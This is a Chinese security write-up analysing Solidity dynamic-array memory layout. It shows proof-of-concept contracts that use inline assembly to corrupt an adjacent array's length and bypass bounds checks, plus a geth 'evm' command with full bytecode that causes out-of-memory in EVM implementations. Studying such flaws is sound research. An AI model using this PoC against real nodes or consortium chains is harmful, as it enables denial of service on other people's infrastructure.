solidity 动态数组原理分析

solidity 和Python ,JavaScript 一样,支持动态数组.我们知道,在Python 和JavaScript 里,动态数组内部的对象(比如:Length ,Slice() 等)都是底层设计好的对象结构,提供接口到运行时库来解析执行.那么在solidity 里面是怎么样表达动态数组的呢?我们从一段示例代码来深入:

pragma solidity ^0.4.24;contract test {function a(uint[] b) {b[2]=0x10;}}

这一段solidity 编译出来的汇编如下(无优化版本),在Remix 调试执行,参数是a([1,2,3]).

000 PUSH1 80
002 PUSH1 40
004 MSTORE
005 PUSH1 04
007 CALLDATASIZE
008 LT
009 PUSH1 3e
011 JUMPI
----  Address 0x0C  Get Function Point And Dispatch  ----
012 PUSH4 ffffffff
017 PUSH29 0100000000000000000000000000000000000000000000000000000000
047 PUSH1 00
049 CALLDATALOAD
050 DIV
051 AND
052 PUSH4 1e3badd9  ;  Function a() hash ..
057 DUP2
058 EQ
059 PUSH1 43
061 JUMPI
----  Address 0x3E  Check Function point in CALLDATA Except  ----
062 JUMPDEST
063 PUSH1 00
065 DUP1
066 REVERT
----  Address 0x43  Function a() Pre-Check Code  ----
067 JUMPDEST
068 CALLVALUE
069 DUP1
070 ISZERO
071 PUSH1 4e
073 JUMPI
074 PUSH1 00
076 DUP1
077 REVERT
----  Address 0x4E  Function a() Argument-Check Code  ----
078 JUMPDEST
079 POP
080 PUSH1 40
082 DUP1
083 MLOAD
084 PUSH1 20
086 PUSH1 04
088 DUP1
089 CALLDATALOAD  ;  CALLDATALOAD 0x04,0x20 => b.length
090 DUP1
091 DUP3
092 ADD
093 CALLDATALOAD
094 DUP4
095 DUP2
096 MUL
097 DUP1
098 DUP7
099 ADD
100 DUP6
101 ADD
102 SWAP1
103 SWAP7
104 MSTORE
105 DUP1
106 DUP6
107 MSTORE
108 PUSH1 95
110 SWAP6
111 CALLDATASIZE  ;  Get CALLData Size
112 SWAP6
113 SWAP4
114 SWAP5
115 PUSH1 24
117 SWAP5
118 SWAP4
119 DUP6
120 ADD
121 SWAP3
122 SWAP2
123 DUP3
124 SWAP2
125 DUP6
126 ADD
127 SWAP1
128 DUP5
129 SWAP1
130 DUP1
131 DUP3
132 DUP5
133 CALLDATACOPY  ;  CALLData to Memory
134 POP
135 SWAP5
136 SWAP8
137 POP
138 PUSH1 97
140 SWAP7
141 POP
142 POP
143 POP
144 POP
145 POP
146 POP
147 POP
148 JUMP
----  Address 0x4E  Function a() Return Code  ----
149 JUMPDEST
150 STOP
----  Address 0x97  Function a() Main Code  ----
151 JUMPDEST
152 PUSH1 10    ;  赋值给数组的值0x10
154 DUP2
155 PUSH1 02    ;  数组索引0x02
157 DUP2
158 MLOAD       ;  MLOAD 0x80 ,获取数组长度
159 DUP2
160 LT          ;  0x03 <= 0x02
161 ISZERO
162 ISZERO      ;  两次ISZERO 的意思等于not ,即!(0x03 <= 0x02) => (0x03 > 0x02)
163 PUSH1 a7
165 JUMPI       ;  如果赋值长度小于uint[] b 的动态长度,那就去到0xA7,否则触发异常
166 INVALID     ;  触发异常退出合约执行
----  Address 0xA7  ----
167 JUMPDEST
168 PUSH1 20    ;  /
170 SWAP1       ;  |
171 DUP2        ;  |
172 MUL         ;  |  计算b[2] 在内存中的位置,然后给到MSTORE 保存.
173 SWAP1       ;  |
174 SWAP2       ;  |
175 ADD         ;  |
176 ADD         ;  \
177 MSTORE      ;  MSTORE 0xE0,0x10 .
178 POP
179 JUMP
180 STOP

从汇编代码里面可以了解到,动态数组b 在内存中是这样表示的:

在Remix 中调试栈的数据布局如下:

Solidity 在编译动态数组赋值时编译器会自动插入数组越界判断代码,注意汇编158 – 167 行代码.

157 DUP2
158 MLOAD       ;  MLOAD 0x80 ,获取数组长度
159 DUP2
160 LT          ;  0x03 <= 0x02
161 ISZERO
162 ISZERO      ;  两次ISZERO 的意思等于not ,即!(0x03 <= 0x02) => (0x03 > 0x02)
163 PUSH1 a7
165 JUMPI       ;  如果赋值长度小于uint[] b 的动态长度,那就去到0xA7,否则触发异常
166 INVALID     ;  触发异常退出合约执行
167 JUMPDEST

所以我们只能在动态数组长度以内来修改数据,一旦越过动态数组的长度,合约就会报错执行,那么有没有办法修改动态数组的长度呢?我们尝试直接修改b.length = 0x10 来对动态数组的长度进行修改,发现并不能通过编译.

pragma solidity ^0.4.24;contract test {function a(uint[] b) {b.length = 0x10;}}

动态数组越界尝试

既然不能直接对动态数组的length 操作,那么我们可以在栈上部署两个连续的动态数组,通过操作第一个动态数组越界去修改第二个动态数组的长度,达到第二个动态数组可以突破任意长度的控制.PoC 如下:

pragma solidity ^0.4.24;contract test {function a(uint[] b,uint[] c) {uint c_length = c.length;assembly {mstore(add(0x80,mul(3,0x20)),0x5)  //  因为直接写b[2] 会有长度判断,这样就可以绕过判断}c_length = c.length;   //  成功被修改成0x5}}

对a() 的调用参数是[1,2],[3,4] .在mstore 指令执行的时候,0x80 是动态数组b 的起始位置,因为uint 类型的数组占0x20 字节,所以动态数组b 占用的内存是0x80 – 0xDF ,c 占用的内存是0xE0 – 0x13F .我们知道,动态数组c 的length 标志位在b[1] 的后面,所以我们修改了b[2] 的数据也就是修改了动态数组c 的length 标志位.

执行完MSTORE 指令之后,可以看到c.length 的值被修改了

尝试越界写数据

pragma solidity ^0.4.24;contract test {function a(uint[] b,uint[] c) {uint c_length = c.length;assembly {mstore(add(0x80,mul(3,0x20)),0xAAAAAAAA)}c_length = c.length;c[0xC800000] = 0xFF;}}

我们来看主要代码的汇编部分:

----  Address 0xEF  function a() Main Code  ----
239 JUMPDEST
240 PUSH1 00
242 DUP2
243 MLOAD            ;  uint c_length = c.length;
244 SWAP1
245 POP
246 PUSH4 aaaaaaaa
251 PUSH1 20
253 PUSH1 03
255 MUL
256 PUSH1 80
258 ADD
259 MSTORE           ;  mstore(add(0x80,mul(3,0x20)),0xAAAAAAAA)
260 DUP2
261 MLOAD
262 SWAP1
263 POP
264 PUSH1 ff
266 DUP3
267 PUSH3 C800000
271 DUP2
272 MLOAD            ;  MLOAD 0x00 , 获取数组长度
273 DUP2
274 LT
275 ISZERO
276 ISZERO
277 PUSH2 011a
280 JUMPI            ;  判断0xC800000 是否越界,因为动态数组c 已经设置为0xAAAAAAA ,所以并不会触发判断失效
281 INVALID
282 JUMPDEST
283 SWAP1
284 PUSH1 20
286 ADD
287 SWAP1
288 PUSH1 20
290 MUL
291 ADD
292 DUP2
293 DUP2
294 MSTORE           ;  MSTORE 0xC80000,0xFF  =>  c[0xC800000] = 0xFF;
295 POP
296 POP
297 POP
298 POP
299 POP
300 JUMP
301 STOP

在go-ethereum 版下的EVM 执行测试代码,构造EVM 命令行测试代码如下:

./evm --code 608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806396f40e3d14610046575b600080fd5b34801561005257600080fd5b506100ed60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506100ef565b005b60008151905063aaaaaaaa6020600302608001528151905060ff826210000081518110151561011a57fe5b90602001906020020181815250505050505600a165627a7a72305820fe133e12a0270131204b3cc47bb934f4d348bad747ca490adc53d935690806ac0029 --input 96f40e3d000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004 --gas 10000000000000000 --debug run

找到EVM 程序,执行命令,可以使用top 命令观察系统运行情况

可以看到执行了一小段时间的EVM 解析器占用的内存情况

--debug 选项还在不断输出内存数据

gas 怎么办

我们知道,执行上面这段代码是需要消耗很多gas 的,因为在EVM 里面申请内存需要消耗gas ,计算方式如下:

#  Code-Location   https://github.com/ethereum/py-evm/blob/9870841a126fb53a6cbab2ef7bf3d46262fa23a8/eth/vm/computation.py#L75def memory_gas_cost(size_in_bytes: int) -> int:size_in_words = ceil32(size_in_bytes) // 32linear_cost = size_in_words * GAS_MEMORY  #  GAS_MEMORY = 3quadratic_cost = size_in_words ** 2 // GAS_MEMORY_QUADRATIC_DENOMINATOR  #  GAS_MEMORY_QUADRATIC_DENOMINATOR = 512total_cost = linear_cost + quadratic_costreturn total_cost

那么要申请200 MB 的内存,就需要消耗83905740800 gas ,按照每1 gas 价格为21 Gwei 来计算,则需要消耗1762.0205568 ETH ,要这么做显然是不现实的.

而且,每个区块是有gas limit 上限,也就是说这个块只能使用这么多的gas 来执行合约和转帐,一旦gas 消耗完之后将不再打包其它交易.当前的ETH 区块的gas limit 是8000029 ,最多可以分配63 KB 内存.所以并不能对节点上运行的链程序造成威胁.所以在以太坊的公链上是不能应用的,但是这种情况可能会存在于联盟链里,原因有两点:1.因为在联盟链里的gas 代价相对比公链要低,而且挖矿产出奖励很高,所以不担心gas 的消耗价格;2.因为联盟链会对TPS 有很高要求,会希望一个块可以打包很多数据和多次执行合约,故会调高gas limit ,那就有可能存在上面的问题.

目前在geth ,py-evm ,remix 上都存在这个内存溢出问题.

原文链接:http://blog.fcsec.io/index.php/2018/11/20/2/?from=timeline&isappinstalled=0

以太坊EVM动态数组越界导致OOM分析相关推荐

  1. 以太坊EVM源码注释之执行流程

    以太坊EVM源码分析之执行流程 业务流程概述 EVM是用来执行智能合约的.输入一笔交易,内部会将之转换成一个Message对象,传入 EVM 执行.在合约中,msg 全局变量记录了附带当前合约的交易的 ...

  2. 以太坊EVM源码注释之数据结构

    以太坊EVM源码分析之数据结构 EVM代码整体结构 EVM相关的源码目录结构: ~/go-ethereum-master/core/vm# tree . ├── analysis.go // 分析合约 ...

  3. 以太坊EVM源码注释之State

    以太坊EVM源码注释之State Ethereum State EVM在给定的状态下使用提供的上下文(Context)运行合约,计算有效的状态转换(智能合约代码执行的结果)来更新以太坊状态(Ether ...

  4. 以太坊EVM兼容区块链全表

    以太坊已经借助DeFi迅速成为去中心化应用的主流开发平台,利用以太坊 技术开发的分叉链或EVM兼容链也层出不穷.本文列出主流的以太坊EVM兼容链, 以便开发者使用MetaMask或Web3中间件时,可 ...

  5. 以太坊POA共识机制Clique源码分析

    以太坊中除了基于运算能力的POW(Ethash)外,还有基于权利证明的POA共识机制,Clique是以太坊的POA共识算法的实现,这里主要对POA的Clique相关源码做一个解读分析. Clique的 ...

  6. 以太坊创世区块与链配置载入分析

    本文首发于深入浅出区块链社区 原文链接:以太坊创世区块与链配置载入分析,原文已更新,请读者前往原文阅读. 创世区块作为第零个区块,其他区块直接或间接引用到创世区块.因此节点启动之初必须载入正确的创世区 ...

  7. 以太坊-EVM第3部分——动态数据类型的表示方法

    Solidity提供了在其他编程语言常见的数据类型.除了简单的值类型比如数字和结构体,还有一些其他数据类型,随着数据的增加可以进行动态扩展的动态类型.动态类型的3大类: 映射(Mappings):ma ...

  8. 以太坊-EVM第2部分——固定长度数据类型的表示方法

    在本系列的第一篇文章中,我们已经看到了一个简单的Solidity合约的汇编代码: contract C {uint256 a;function C() {a = 1;} } 该合约归结于sstore指 ...

  9. 以太坊EVM智能合约中的数据存储

    目录 EVM基本信息 数据管理 Stack Args Memory Storage 固定长度的值 动态长度数组 Mappings 复杂类型的组合 总结 EVM基本信息 以太坊是一种基于栈的虚拟机,基于 ...

最新文章

  1. IntelliJ IDEA 新版介绍
  2. 四轴飞行器实践教程(内部资料)
  3. c语言兔子繁殖问题分析和递归方程,经典的兔子生兔子问题(C#递归解法)
  4. 为提高研发和测试质量而规范Scrum项目需求描述
  5. [WC2008]游览计划(斯坦纳树)
  6. 雅虎前端优化的35条军规
  7. 解决Too many open files问题
  8. 小巧玲珑的开源调度框架Azkaban3.0下载、编译、安装及使用详细文档
  9. linux 文件预读,一种基于Linux系统小文件预读功能的可靠性测试方法与流程
  10. Linux shell 中的那些你值得一试的小把戏
  11. python求主析取范式_python应用之求主析取范式,主合取范式
  12. 九度搜索引擎点击优化_「九度搜索引擎点击优化软件」网站推广方案
  13. 多线程——start()和run()
  14. 1024 程序员节狂欢盛会,等了一年终于来了!
  15. Cannot get a text value from a numeric cell
  16. 读书笔记01_《程序员思维修炼》
  17. Webots中常用的函数(C版)
  18. webdav服务器文件大小限制,WebDAV服务器
  19. 智能阅读模型的构建(第六届泰迪杯C题)
  20. SYN8086语音合成芯片(TTS语音芯片)各项指标测试已完成,正式批量化生产

热门文章

  1. php锻炼逻辑的问题,锻炼逻辑思维能力的:5道高难度逻辑思维训练题
  2. a标签里面设置onclick_详解a标签添加onclick事件的几种方式
  3. 会计本科转计算机,会计专业转行干设计工作,这些宝贵经验和感悟,对你有用(一)...
  4. 水浒.招安还是好过不招安
  5. 神仙级python入门教程(非常详细),从零基础入门到精通,从看这篇开始!
  6. Exception in thread “main“ java.lang.NoSuchMethodError: scala.reflect.ClassT
  7. 假设用于通信的电文仅由8个字母组成,字母在电文中出现的频率分别为0.07, 0.19, 0.02, 0.06, 0.32, 0.03, 0.21, 0.10. 试为这8个字母设计赫夫曼编码.
  8. 虚拟机可以多开一台服务器吗,游戏多开必备:虚拟机vmware安装
  9. 『学了就忘』Linux基础 — UNIX系统介绍
  10. 【JavaWeb】Http请求报文详解